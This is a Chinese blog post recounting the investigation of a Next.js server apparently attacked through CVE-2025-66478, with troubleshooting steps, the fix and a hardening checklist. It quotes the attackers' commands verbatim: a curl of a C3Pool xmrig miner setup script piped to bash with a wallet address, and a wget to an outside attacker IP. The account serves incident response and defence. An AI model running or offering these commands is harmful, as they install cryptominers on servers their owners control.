亲历 Next.js 严重漏洞 CVE-2025-66478(虚惊一场)

亲历 Next.js 严重漏洞 CVE-2025-66478(虚惊一场)

更新时间
Last updated December 6, 2025
AI 占比
27
Tags
经验
安全
description
 

事件起因

今天收到了阿里云的一条安全告警,标题是"恶意脚本代码执行"和"蠕虫病毒命令",看到告警内容时我整个人都懵了:
数据来源进程启动触发检测
告警原因该命令与蠕虫病毒命令特征高度相似。
命令行
/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 486xqw7ysXdKw7RkVzT5tdSiDtE6soxUdYaGaGE1GoaCdvBF7rVg5oMXL9pFx3rB1WUCZrJvd6AHMFWipeYt5eFNUx9pmGN
进程路径
/bin/busybox
进程ID420356
父进程命令行next-server (v15.5.6)
父进程文件路径/usr/local/bin/node
父进程ID395015
容器名qianxun-website-blue
容器ID3f88bbead5ee509f11c65e9b9d6dbbe745de39ffbba8f812151d95227aa8c897
镜像IDsha256:80d23bc57fb0b9faf5d9929b26777948bf85673977ea8a161ab40dc78e7b3931
镜像名qianxun-website:20251121-b30872f
容器hostname3f88bbead5ee
容器视角进程路径/proc/395015/root/bin/busybox
我第一反应是:这不可能吧?这明明是我自己部署的 Next.js 项目,怎么会执行挖矿脚本?是不是误报?

初步分析

研究了下命令内容后,我意识到这不是简单的事情:
  • C3Pool 是一个门罗币挖矿池
  • 命令试图下载并执行挖矿程序
  • 后面跟着的是攻击者的钱包地址
但问题是,这个命令是从我的 Next.js 容器内部执行的,说明要么:
  1. 我的代码存在漏洞被利用了
  1. 某个依赖包被投毒了
  1. 容器镜像被污染了

开始排查

1. 检查是否有挖矿进程

首先检查系统中是否真的有挖矿程序在运行:
# 搜索挖矿相关进程 ps aux | grep -E "xmrig|c3pool|miner" # 结果: 无 # 查看容器内的进程 docker exec 3f88bbead5ee ps aux # 结果: 只有 next-server 进程在运行
好消息:没有发现挖矿进程。

2. 检查容器内的可疑文件

# 查找挖矿相关文件 docker exec 3f88bbead5ee find / -name "*xmrig*" -o -name "*c3pool*" # 结果: 无 # 检查定时任务 docker exec 3f88bbead5ee crontab -l # 结果: No crontab # 检查临时目录 docker exec 3f88bbead5ee ls -la /tmp/ /var/tmp/ # 结果: 都是空的
又一个好消息:容器内没有恶意文件残留。

3. 查看容器日志

这是关键的一步:
docker logs --tail 200 3f88bbead5ee 2>&1 | grep -E "curl|wget|bash"
日志输出让我倒吸一口凉气:
/bin/sh: curl: not found /bin/sh: bash: not found ⨯ [Error: Command failed: curl -s -L <https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh> | bash -s 486xqw7... status: 127, signal: null, pid: 47, stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 63 75 72 6c 3a 20 6e 6f 74 20 66 6f 75 6e 64...> ] wget: can't connect to remote host (31.56.27.97): Host is unreachable ⨯ [Error: Command failed: wget <http://31.56.27.97/lula/$(nproc)/$>(uname -n)/$(nproc) status: 1, pid: 50 ]
关键发现:
  1. 应用确实尝试执行了这些恶意命令
  1. 但因为容器内没有 curlbash,命令执行失败(status: 127)
  1. 还有一个备用攻击载荷试图从可疑 IP 下载恶意文件,也失败了
此时我开始怀疑:我的 Next.js 应用被攻击了,但因为使用了精简的 Alpine 镜像,意外地阻止了攻击成功!

4. 排查代码漏洞

我立即在源代码中搜索:
grep -r "execSync\\|child_process" src/ # 结果: 无匹配
我的代码中根本没有使用 child_process,那这些命令是哪来的?

5. 检查依赖包

查看 package.json:
{ "dependencies": { "next": "15.5.6", "react": "19.1.0", "react-dom": "19.1.0", "next-intl": "^4.3.12", "lucide-react": "^0.546.0", // ... 其他常规依赖 } }
都是常规的依赖包,没有可疑的包。

6. 关键线索

继续查看日志,发现启动时有大量这样的错误:
⨯ Error: Could not find the module "child_process#execSync" in the React Server Manifest ⨯ TypeError: Failed to parse body as FormData. ⨯ TypeError: Failed to parse body as FormData. ⨯ TypeError: Failed to parse body as FormData.
大量的 Failed to parse body as FormData 错误!这说明有人在疯狂发送特制的 POST 请求试图攻击我的应用。

真相大白

结合以上线索,我搜索了 "Next.js 15.5.6 vulnerability",找到了这个:
CVE-2025-66478 - Next.js React Server Components 远程代码执行漏洞

漏洞详情:

  • CVSS 评分: 10.0 (最高级别!)
  • 影响版本: Next.js 15.x, 16.x (使用 App Router 的应用)
  • 根本原因: React Server Components (RSC) 协议存在漏洞,允许攻击者通过特制请求触发服务器端代码执行
  • 修复版本: 15.5.7, 15.6.0-canary.58, 16.0.7 等

攻击流程:

  1. 攻击者扫描互联网,寻找运行 Next.js 15.5.6 的服务器
  1. 发送特制的请求利用 RSC 协议漏洞
  1. 触发远程代码执行,尝试下载挖矿脚本
  1. 在我的环境中,因为容器没有 curlbash,攻击失败

为什么攻击失败了?

我使用的 Docker 镜像基于 Alpine Linux,采用了 Next.js 官方的精简构建方案:
FROM node:20-alpine AS base # ...构建过程... FROM node:20-alpine AS runner USER nextjs # 非 root 用户运行 # 精简镜像,不包含 curl, wget, bash 等工具
这个无心插柳的安全实践救了我一命!

修复过程

1. 立即升级 Next.js

# 在项目目录 pnpm update next@15.5.7

2. 重新构建镜像

docker build -t qianxun-website:20251205-secure .

3. 停止并替换受影响的容器

docker stop qianxun-website-blue docker rm qianxun-website-blue # 使用新镜像启动 docker run -d --name qianxun-website-blue \\ --network your-network \\ qianxun-website:20251205-secure

4. 进一步加固

在 Dockerfile 中显式移除危险命令(可选):
RUN rm -f /bin/curl /usr/bin/curl \\ /bin/wget /usr/bin/wget \\ /bin/bash /usr/bin/bash

经验教训

1. 最小权限原则真的有用

使用精简的 Alpine 镜像,不安装不必要的工具,这次意外地阻止了攻击。

2. 安全告警不要轻视

虽然第一反应觉得是误报,但深入排查后发现确实存在真实威胁。

3. 供应链安全至关重要

这不是我的代码有问题,而是依赖的框架存在严重漏洞。定期更新依赖是必须的。

4. 容器内进程 ID 是关键线索

日志中的 pid: 47, pid: 50 说明这些命令是在容器内执行的,而不是外部扫描。

5. 多层防御

  • 使用非 root 用户运行应用
  • 精简容器镜像
  • 配置云服务商的安全监控
  • 及时更新依赖

时间线回顾

  • 11月21日: 部署了使用 Next.js 15.5.6 的应用
  • 12月3日: Next.js 官方发布 CVE-2025-66478 安全公告
  • 12月5日: 收到阿里云安全告警,发现应用被攻击
  • 12月5日: 排查问题,升级到 15.5.7,重新部署
幸运的是,从漏洞公开到我收到告警,攻击者虽然成功触发了漏洞,但因为环境限制没有造成实际损害。

检查清单

如果你也在使用 Next.js,请立即检查:
# 1. 检查你的 Next.js 版本 cat package.json | grep '"next"' # 2. 如果是 15.0.0-15.5.6 或 16.0.0-16.0.6,立即升级 npm install next@15.5.7 # 或对应的修复版本 # 3. 检查容器日志是否有类似的攻击痕迹 docker logs your-container | grep -E "curl|wget|Command failed" # 4. 检查是否有可疑进程 ps aux | grep -E "xmrig|miner|c3pool"

参考资料


 

总结

之前 nextjs 也出过事,也是非常大的安全漏洞,没想到这次又出了…只能说世界真是个草台班子,包括最近 cloudflare 的基础设施也是多次出现问题。
好吧,总的来说:
  1. 安全无小事,即使是知名框架也可能存在严重漏洞
  1. 安全是多层的,一个好的安全实践(精简镜像)在关键时刻发挥了作用
  1. 保持更新是最基本也是最重要的安全措施
希望这次经历能给大家一些启发和警示吧。Stay safe! 🛡️